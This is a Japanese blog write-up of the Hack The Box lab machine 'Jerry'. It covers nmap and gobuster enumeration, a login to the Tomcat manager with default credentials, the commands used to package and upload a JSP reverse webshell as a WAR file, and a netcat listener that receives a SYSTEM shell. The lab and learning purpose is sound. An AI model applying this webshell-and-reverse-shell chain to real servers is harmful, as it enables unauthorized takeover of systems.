HTB: Jerry Writeup

Hack The Box: Jerryのwriteup。

1時間もかからずに掌握できた。

以下はnmapのスキャン結果。

└─$ nmap -Pn -A $RHOST -oG general-portscan.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-30 07:35 EST
Nmap scan report for 10.129.136.9
Host is up (0.31s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1
|_http-title: Apache Tomcat/7.0.88
|_http-server-header: Apache-Coyote/1.1
|_http-favicon: Apache Tomcat

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 54.29 seconds

8080番ポートにてApache Tomcatが実行されている模様。

ブラウザでアクセスしたところ、Apache Tomcatのデフォルトページが現れた。

以下はgobusterのスキャン結果。

└─$ gobuster dir -u http://$RHOST:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.136.9:8080
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/docs                 (Status: 302) [Size: 0] [--> /docs/]
/examples             (Status: 302) [Size: 0] [--> /examples/]
/manager              (Status: 302) [Size: 0] [--> /manager/]

試しにTomcatの管理ページ /managerにログインしようとしたが、ユーザー認証で弾かれてしまった。。。のだが。。。

上記の401 Unauthorizedページを注視してみると、tomcatというユーザー名とs3cretというパスワードを発見。

試しにtomcat:s3cret/managerにアクセスしたところ、管理ページにログインできてしまった。

あとはwebshellをWAR形式でアップロードしてしまえば良さそう。

以下のコマンドでJSP webshellをWAR形式で作成。

cp /usr/share/webshells/jsp/jsp-reverse.jsp .
jar -cvf reverse-webshell.war jsp-reverse.jsp
└─$ jar -cvf reverse-webshell.war jsp-reverse.jsp
adding: META-INF/ (in=0) (out=0) (stored 0%)
adding: META-INF/MANIFEST.MF (in=56) (out=56) (stored 0%)
adding: jsp-reverse.jsp (in=2458) (out=808) (deflated 67%)
Total:
------
(in = 2498) (out = 1186) (deflated 52%)

└─$ file reverse-webshell.war 
reverse-webshell.war: Zip archive data, at least v1.0 to extract, compression method=store

管理ページよりWARファイルをアップロード。

WARファイルのアップロードが完了。

アップロードしたwebshellにアクセスするにはhttp://$RHOST:8080/reverse-webshell/jsp-reverse.jspにアクセスすればよい。

攻撃マシンのIPアドレスとポート番号を指定してConnectボタンをクリック。

攻撃マシンの待ち受けポートにてシェルが起動した。

└─$ rlwrap nc -nvlp 53                      
listening on [any] 53 ...
connect to [10.10.16.174] from (UNKNOWN) [10.129.136.9] 49192
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\apache-tomcat-7.0.88>whomai
whomai

C:\apache-tomcat-7.0.88>whoami
whoami
nt authority\system

C:\apache-tomcat-7.0.88>hostname
hostname
JERRY

whoamiコマンドより現在のユーザーはnt authority\systemと判明。すでに高権限ユーザーのため、権限昇格の必要はなさそう。

その後、c:\Users\Administrator\Desktop\flags\2 for the price of 1.txtというファイルの中に一般ユーザーのフラグとrootユーザーのフラグの両方を発見した。

c:\Users\Administrator\Desktop\flags>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 0834-6C04

 Directory of c:\Users\Administrator\Desktop\flags

06/19/2018  06:09 AM    <DIR>          .
06/19/2018  06:09 AM    <DIR>          ..
06/19/2018  06:11 AM                88 2 for the price of 1.txt
               1 File(s)             88 bytes
               2 Dir(s)   2,413,322,240 bytes free

Leave a Reply

Your email address will not be published. Required fields are marked *


The reCAPTCHA verification period has expired. Please reload the page.